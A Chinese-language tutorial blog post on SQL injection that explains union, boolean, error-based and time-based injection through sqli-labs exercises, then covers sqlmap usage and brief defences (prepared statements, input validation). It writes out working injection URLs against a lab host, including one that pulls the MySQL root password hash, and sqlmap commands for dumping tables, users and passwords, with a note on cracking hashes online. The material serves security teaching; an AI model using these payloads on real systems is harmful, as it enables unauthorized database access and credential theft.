SQL注入的几种基本类型

岁酱吖の 提交于 2020-01-01 12:31:11

SQL注入原理

Web应用程序对于用户输入的数据和合法性没有严谨的判断,前端用户的输入直接传输给后端,攻击者通过构造不同的参数,形成不同的SQL语句来实现对数据库的任意操作。
SQL注入产生需要满足两个条件:

  • 参数用户可控:前端传给后端的参数内容是用户可以控制的
  • 参数带入数据库查询:传入的参数直接拼接到SQL语句,且带入数据库查询
    开发者应该秉持一种:外部参数皆不可信的原则,来进行开发。

相关知识

查询语句

略。

常用表

以MySQL为例,在5.0版本之后,数据库中有一个information_schema库,在其中有三个表,分别是SCHEMATA、TABLES和COLUMNS,分别存放着用户创建的所有数据库名、表明和字段名。
获取所有数据库名:

SELECT * FROM SCHEMATA;

获取某个数据库中的所有表名:

SELECT
	TABLE_NAME 
FROM
TABLES 
WHERE
	TABLE_SCHEMA = 'myzoo'

获取某个数据库表中的所有字段名

SELECT
	COLUMN_NAME 
FROM
COLUMNS 
WHERE
	TABLE_SCHEMA = 'myzoo' 
	AND TABLE_NAME = 'Person'
常用函数:
  1. database():获取当前数据库名
  2. version():获取当前MySQL版本
  3. user():获取当前MySQL用户
  4. group_concat():将括号中的所有参数拼接成一个字符串
  5. substr(str,start,length):截取str字符串中从start开始,长度为length的子串

常见注入类型

Union注入攻击

SQL UNION操作符
用于合并两个或多个SELECT语句的结果集,内部的SELECT语句必须拥有相同数量的列。且拥有相似的数据类型。
默认UNION操作符选取不同的值,如果允许重复的值,要使用UNION ALL
Union select解释:
联合查询,前后两条查询语句,两条查询语句必须包含相同的列。
适用条件:在页面上有直接的数据显示位。
基本步骤:

  1. 寻找注入点
  2. 使用ORDER BY命令确定数据集列的个数;
  3. 通过UNION SELECT 1,2,3,4…来判断显示位具体是哪一列(注:union前查询语句需要返回空值)
  4. 获取当前数据库名、表名、列名、所有数据。

测试题目:sqli-labs第一题

  1. 通过添加参数?id=1’ --+确定,存在字符型注入,且参数是被单引号包裹住(还有可能是’’、""、(‘’)等包裹形式);
  2. 通过?id=1’ ORDER BY 3 --+确定数据存在三列(将3替换成4报错,说明列数小于四且不小于三,所以确定是三列)
  3. 通过?id=-1’ UNION SELECT 1,2,3 --+确定显示位为后两列
  4. 通过改变2,3处的数字改为各种查询条件可以获取数据库的各种信息

不同的payload获取不同的信息

http://212.64.58.173/sql/Less-1/?id=11234' UNION SELECT 1,2,database()  --+

获取数据库名为security;

http://212.64.58.173/sql/Less-1/?id=11234' UNION SELECT 1,2,(SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA='security') --+

获取security数据库中的所有表名
同理,通过不同的payload可以获取数据库中的表名、字段名、以及所有的数据。

http://212.64.58.173/sql/Less-1/?id=11234' UNION SELECT 1,2,(SELECT group_concat(User,Password) FROM mysql.user WHERE User='root') --+

获取MySQL数据库中root用户的密码,在www.cmd5.com网站进行解密,获取明文。
查看课上myzoo的注入,在user查询界面。
通过查询用户名的参数,有直接显示位置。所以,你懂的,暴露了。
题目:一道简单的sql注入题目

Boolean注入攻击

SQL注入之盲注(Boolean类型)

报错注入攻击

适用场景:能在页面中输出打印出SQL语句报错信息的题目
例题:例题4
利用函数updatexml()来通过sql语句获取各种信息
尝试出来注入点为id=1") --+
payload:http://212.64.58.173/sql/Less-4/?id=") and updatexml(1,concat(1,(select database())),1) --+
可以看到当前数据库名为security
同理,将select database()替换为其他查询语句或函数,可以获取相关的所有内容。

时间注入攻击

使用场景:不管如何改变参数形式及内容,页面均没有任何变化
例题:例题10
通过使用sleep()函数让MySQL的执行时间变得更长。
经常与IF(exp1,exp2,exp3)配合使用,如果exp1为真,则执行exp2,否则执行exp3
可以通过在页面直接等待时间,或者使用BURP等工具来查看响应的时间。
payload:http://212.64.58.173/sql/Less-10?id=1" and if(ascii(substr(database(),1,1))>116,0,sleep(5)) --+
响应时间5秒,说明数据库名的第一个字母的ascii码不大于116.剩下的步骤参考Boolean盲注。

SQLMAP简单使用

下载及配置

配置好python环境(2.7)直接从官网sqlmap.org下载后解压(或GitHub地址https://github.com/sqlmapproject/sqlmap),直接执行sqlmap.py即可
中文使用手册:http://www.91ri.org/6775.html
在Linux环境中可配置一个全局alias,方便使用

入门使用

1、判断是否存在注入

sqlmap -u http://212.64.58.173/sql/Less-1/?id=1

有三个问题需要输入回答:

  1. 检测到数据库可能是MySQL,是否需要跳过检测其他数据库
  2. 在level1、risk1的情况下,是否使用MySQL对应的所有Payload进行检测
  3. 参数id存在注入漏洞,是否要继续检测其他参数

不需要。
可以查看到最终的结果中,可以看到id存在注入,并且显示了服务器的各种信息。

2、通过HTTP请求头部文本判断是否存在注入

sqlmap -r myzoo.txt

可以通过查看请求头文本,不用携带cookie来判断目标网站是否存在注入及获取相关信息。

3、通过不同命令,获取数据库的相关信息

  • 查询当前用户下的所有数据库
    –dbs 使用某数据库继续注入时,使用-D ***(数据库名)
  • 查询当前所使用数据库
    –current-db
  • 查询某数据库中的所有数据表名
    -D myzoo --tables 继续注入时–tables缩写为 -T ***(表名)
  • 获取表中的字段名
    -D myzoo -T Person --columns 继续注入时 --columns缩写为-C ***,***(数据库字段名)
  • 获取数据库表中的数据
    -D myzoo -T Person -C Username,Password --dump
  • 获取数据库中的所有用户
    –users
  • 获取数据库用户的密码
    –passwords
    直接在www.cmd5.com进行枚举解密即可

4、通过携带cookie查询某需要登陆的网站(例如myzoo的users)

  • –cookie携带cookie

5、清除sqlmap本地缓存

  • sqlmap --purge 清除sqlmap缓存

6、除此之外,还可以携带HTTP头的Referer、User-Agent、Header等参数

SQL注入防御

1、使用预编译语句在SQL语句中使用占位符,参数化处理
2、加强参数验证(使用正则表达式过滤)、规定参数数据类型

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!